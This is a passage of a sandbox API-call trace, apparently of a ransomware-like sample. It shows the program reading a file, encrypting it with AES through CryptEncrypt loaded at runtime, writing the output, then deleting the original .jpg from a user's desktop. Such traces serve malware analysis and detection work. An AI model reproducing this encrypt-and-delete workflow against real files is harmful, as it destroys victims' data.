hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.831] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.831] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.831] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.833] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0079.833] ReadFile (in: hFile=0x3d8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xfef1, lpOverlapped=0x0) returned 1 [0079.835] ReadFile (in: hFile=0x3d8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0079.838] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.838] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.838] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.839] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0079.839] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.839] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.839] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0079.839] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0079.839] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0079.839] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0079.839] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0079.839] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.840] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0079.840] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0079.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0079.840] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0079.840] CryptGetKeyParam (in: hKey=0x164c930, dwParam=0x7, pbData=0x1629470, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629470*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0079.840] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0079.840] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0079.840] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.840] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.840] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.840] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.840] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.840] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.840] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0079.841] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.841] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0079.841] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0079.841] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.841] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.841] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0079.841] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0079.841] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0079.841] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.841] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.841] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.841] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.841] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.841] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.841] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0079.842] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0079.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621690, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0079.843] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0079.843] CryptEncrypt (in: hKey=0x164c930, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xfef1, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xff00) returned 1 [0079.843] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.843] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.843] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.843] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.843] CharLowerBuffW (in: lpsz="byte[65281]", cchLength=0xb | out: lpsz="byte[65281]") returned 0xb [0079.843] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.845] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.845] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.845] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0079.845] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0079.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a80, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0079.845] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0079.845] CryptEncrypt (in: hKey=0x164c930, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1810820*, pdwDataLen=0x130e618*=0xfef1, dwBufLen=0xff00 | out: pbData=0x1810820*, pdwDataLen=0x130e618*=0xff00) returned 1 [0079.845] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.845] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.846] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.846] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.846] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.846] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.846] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0079.846] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.846] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0079.846] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0079.846] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0079.847] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.847] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0079.847] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0079.848] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.848] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.848] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.851] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.851] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.851] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.851] WriteFile (in: hFile=0x3c8, lpBuffer=0x17e0b20*, nNumberOfBytesToWrite=0xff00, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17e0b20*, lpNumberOfBytesWritten=0x130f01c*=0xff00, lpOverlapped=0x0) returned 1 [0079.853] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.853] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.853] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0079.853] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0079.853] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.853] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0079.853] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0079.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621300, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0079.854] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0079.854] CryptDestroyKey (hKey=0x164c930) returned 1 [0079.854] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0079.854] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0079.854] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0079.854] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0079.854] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0079.854] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0079.854] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0079.854] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0079.854] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0079.854] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0079.854] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0079.854] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0079.854] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0079.854] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0079.855] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.855] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0079.855] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.855] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0079.855] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.855] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.855] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.855] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0079.855] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0079.855] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.855] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.855] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0079.855] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0079.855] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0079.855] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0079.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e290, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0079.856] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0079.856] CryptReleaseContext (hProv=0x1632078, dwFlags=0x0) returned 1 [0079.856] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.856] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.856] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0079.856] FreeLibrary (hLibModule=0x74c60000) returned 1 [0079.856] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.856] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.856] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.856] CloseHandle (hObject=0x3d8) returned 1 [0079.859] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.859] CloseHandle (hObject=0x3c8) returned 1 [0079.861] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.863] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0079.864] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\FhU15.jpg", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\FhU15.jpg", lpFilePart=0x0) returned 0x2c [0079.864] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\FhU15.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6\\fhu15.jpg")) returned 0x20 [0079.864] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\FhU15.jpg", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c3f0 [0079.864] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\FhU15.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6\\fhu15.jpg")) returned 1 [0079.891] FindNextFileW (in: hFindFile=0x164c3f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0079.891] FindClose (in: hFindFile=0x164c3f0 | out: hFindFile=0x164c3f0) returned 1 [0079.891] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0079.891] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0079.891] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0079.891] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 